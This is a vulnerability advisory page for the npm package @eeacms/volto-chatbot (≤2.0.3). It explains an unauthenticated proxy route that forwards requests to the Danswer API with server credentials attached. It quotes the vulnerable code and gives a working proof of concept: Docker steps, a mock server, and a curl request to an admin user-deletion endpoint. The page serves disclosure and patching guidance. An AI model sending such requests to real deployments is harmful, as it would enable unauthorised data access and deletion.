Highghsa:GHSA-w9x9-j56r-h98r

    @eeacms/volto-chatbot: Missing Authorization (ghsa:GHSA-w9x9-j56r-h98r)

    Published Sources: Hersteller

    What is affected, what to do

    Update @eeacms/volto-chatbot to version 2.0.4.

    Not sure whether and how you are affected? Ask a question about this vulnerability

    Metrics

    —

    Priority

    No value is available for this vulnerability.

    —

    CVSS v3

    No value is available for this vulnerability.

    —

    EPSS score

    No value is available for this vulnerability.

    Show all metrics
    Severity
    High
    Priority (0–325)

    The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?

    Read in glossary
    30.00 Methodology
    Exploit maturity

    An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.

    Read in glossary
    no public PoC known
    KEV status

    The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.

    Read in glossary
    —
    Published
    CWE

    CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.

    Read in glossary
    CWE-862

    Classification under NIS2 and CRA

    Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

    NIS2

    NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

    Read in glossary
    High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
    CRA

    The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

    Read in glossary
    From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
    ISO/IEC 27001

    ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

    Read in glossary
    Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

    Description

    Unauthenticated Danswer API Confused Deputy Proxy in @eeacms/volto-chatbot

    Summary

    @eeacms/volto-chatbot exposes an Express middleware route (**/_v1_da/**) that accepts unauthenticated HTTP requests from any network client and proxies them to the configured upstream Danswer API, automatically attaching the server-side service credentials (DANSWER_API_KEY or session cookie). Because no authorization check, path allowlist, or method restriction is applied before the upstream request is issued, an unauthenticated attacker can invoke arbitrary Danswer API operations — including privileged admin endpoints — as the configured service account. This is a classic Confused Deputy attack: the Volto proxy acts as a deputy that carries credentials on behalf of the attacker.

    Details

    The vulnerability is introduced across two source files in @eeacms/volto-chatbot@2.0.3.

    Route registration (src/index.js:15):

    middleware.all('**/_v1_da/**', proxyMiddleware);
    

    The wildcard pattern matches every HTTP method and any sub-path, and no authentication middleware is chained before proxyMiddleware. This means all requests reaching any /_v1_da/ path are forwarded without any identity check.

    Unvalidated path extraction and upstream URL construction (src/middleware.js:228-230):

    const path = req.url.replace('/_v1_da/', '/');
    const reqUrl = `${process.env.DANSWER_URL || ''}/api${path}`;
    

    The attacker-controlled req.url is transformed into the upstream Danswer path with a simple string replace. There is no allowlist of permitted paths, no restriction on HTTP methods, and no validation of the resulting URL. The attacker therefore fully controls which Danswer endpoint is called and with which HTTP method.

    Credential attachment and forwarding (src/middleware.js:164, src/middleware.js:169, src/middleware.js:202):

    // Session-cookie path (line 164):
    headers = { Cookie: cached_auth_cookie, ... }
    
    // API-key path (line 169):
    Authorization: 'Bearer ' + api_key,
    
    // Sink — final upstream dispatch (line 202):
    const response = await fetch(url, options, req.body);
    

    After constructing the URL from attacker-supplied input, the middleware attaches the server-side Danswer credentials (either a cached login session cookie or a Bearer API key) and dispatches the request. The response from Danswer is then relayed back to the unauthenticated client.

    Complete data flow (source → sink):

    1. src/index.js:15 — all **/_v1_da/** paths registered to proxyMiddleware with no auth guard (source: external HTTP request).
    2. src/middleware.js:228 — req.url used directly to derive the upstream path without allowlist.
    3. src/middleware.js:230 — attacker-controlled path appended to ${DANSWER_URL}/api.
    4. src/middleware.js:164 / src/middleware.js:169 — server-side session cookie or API key attached.
    5. src/middleware.js:202 — fetch(url, options, req.body) sends the fully-credentialed request to the Danswer backend (sink).

    This vulnerability is present whenever the add-on middleware is installed and DANSWER_API_KEY or DANSWER_USERNAME/DANSWER_PASSWORD is configured — conditions required for normal, documented operation of the package.

    PoC

    The following steps reproduce the vulnerability using the Docker-based test harness provided with this report.

    Prerequisites:

    • Docker installed
    • Python 3 with the requests library

    Step 1 — Build the Docker image (from the npmAI_719_eea__volto-chatbot/ parent directory):

    docker build \
      -f vuln-001/Dockerfile \
      -t vuln001-proxy \
      reports/npmAI_719_eea__volto-chatbot
    

    The image packages the unmodified src/middleware.js from @eeacms/volto-chatbot@2.0.3, a minimal Express server that wires the vulnerable middleware, and an in-container mock Danswer server that echoes every received request as JSON. The environment variable DANSWER_API_KEY=supersecret is set to simulate a real deployment.

    Step 2 — Start the container:

    docker run --rm -d -p 3000:3000 --name vuln001-test vuln001-proxy
    

    This launches both the Volto proxy (port 3000) and the mock Danswer server (port 18080) inside the container.

    Step 3 — Run the PoC exploit script:

    python3 vuln-001/poc.py 127.0.0.1 3000
    

    What the script does:

    1. Waits for the proxy to accept TCP connections.
    2. Sends an unauthenticated POST request with a JSON body to the admin-only Danswer endpoint via the proxy:
    POST http://127.0.0.1:3000/_v1_da/admin/users/delete
    Content-Type: application/json
    
    {"id": "victim-user-123"}
    

    No Authorization or Cookie header is sent by the client.

    Expected output (exploit confirmed):

    [+] === EXPLOIT CONFIRMED — PASS ===
    [+] Decisive evidence:
        1. Attacker-controlled path reached upstream : url='/api/admin/users/delete'
        2. Server-side API key forwarded (no client auth) : authorization='Bearer supersecret'
        3. Attacker-controlled HTTP method forwarded : method='POST'
    

    The mock Danswer server receives POST /api/admin/users/delete with Authorization: Bearer supersecret — proving that the attacker controlled both the upstream path and the HTTP method while the server silently attached its own credentials.

    Equivalent manual curl command (without Docker):

    # Terminal 1 — mock Danswer server
    node - <<'NODE'
    require('http').createServer((req, res) => {
      let b = ''; req.on('data', c => b += c);
      req.on('end', () => {
        res.setHeader('content-type', 'application/json');
        res.end(JSON.stringify({
          method: req.method, url: req.url,
          authorization: req.headers.authorization || null,
          body: b
        }));
      });
    }).listen(18080, () => console.log('mock Danswer on :18080'));
    NODE
    
    # Terminal 2 — Volto with Danswer credentials configured
    DANSWER_URL=http://127.0.0.1:18080 DANSWER_API_KEY=secret yarn start
    
    # Terminal 3 — unauthenticated exploit request
    curl -i -X POST 'http://localhost:3000/_v1_da/admin/users/delete' \
      -H 'Content-Type: application/json' \
      --data '{"id":"victim-user-123"}'
    

    The response body will contain "authorization":"Bearer secret" and "url":"/api/admin/users/delete", confirming the Confused Deputy.

    Impact

    This is a Confused Deputy / Missing Authorization vulnerability. The Volto proxy acts as a privileged deputy that forwards attacker-supplied requests to the Danswer backend while silently attaching its own service credentials.

    Who is impacted:

    Any deployment of @eeacms/volto-chatbot that:

    • has the package's Express middleware installed (default when the add-on is active), AND
    • has DANSWER_API_KEY or DANSWER_USERNAME/DANSWER_PASSWORD configured (required for the add-on to function at all).

    Because these conditions are satisfied in every normal production deployment of the package, the vulnerability is effectively default-on.

    Concrete attacker capabilities depend on the Danswer service account's permissions but include:

    • High Confidentiality impact — reading any Danswer endpoint accessible to the service account, including documents, user data, conversation history, and configuration.
    • Low–High Integrity impact — invoking write/mutate endpoints such as POST /admin/users/delete, POST /chat/create-chat-session, or any other writable Danswer API path as the service account.
    • No Authentication required — the attacker needs only network access to the Volto server (port 3000); no user account, cookie, or token is required.

    The vulnerability is exploitable by any unauthenticated network attacker, including anonymous internet users if the Volto server is publicly reachable.

    Reproduction artifacts

    Dockerfile

    # Dockerfile for VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy
    #
    # Build context: the parent directory (npmAI_719_eea__volto-chatbot/)
    #   docker build -f vuln-001/Dockerfile -t vuln001-proxy .
    #
    # Run:
    #   docker run --rm -p 3000:3000 vuln00
    

    Source: GitHub Security Advisories

    Affected products

    The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.

    Affected products
    Affected versionsFixed in
    npm@eeacms/volto-chatbot
    • <= 2.0.3
    • 2.0.4

    Weakness classes (CWE)

    • CWE-862Missing Authorization

      Class

      The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

      Entry at MITRE CWE-862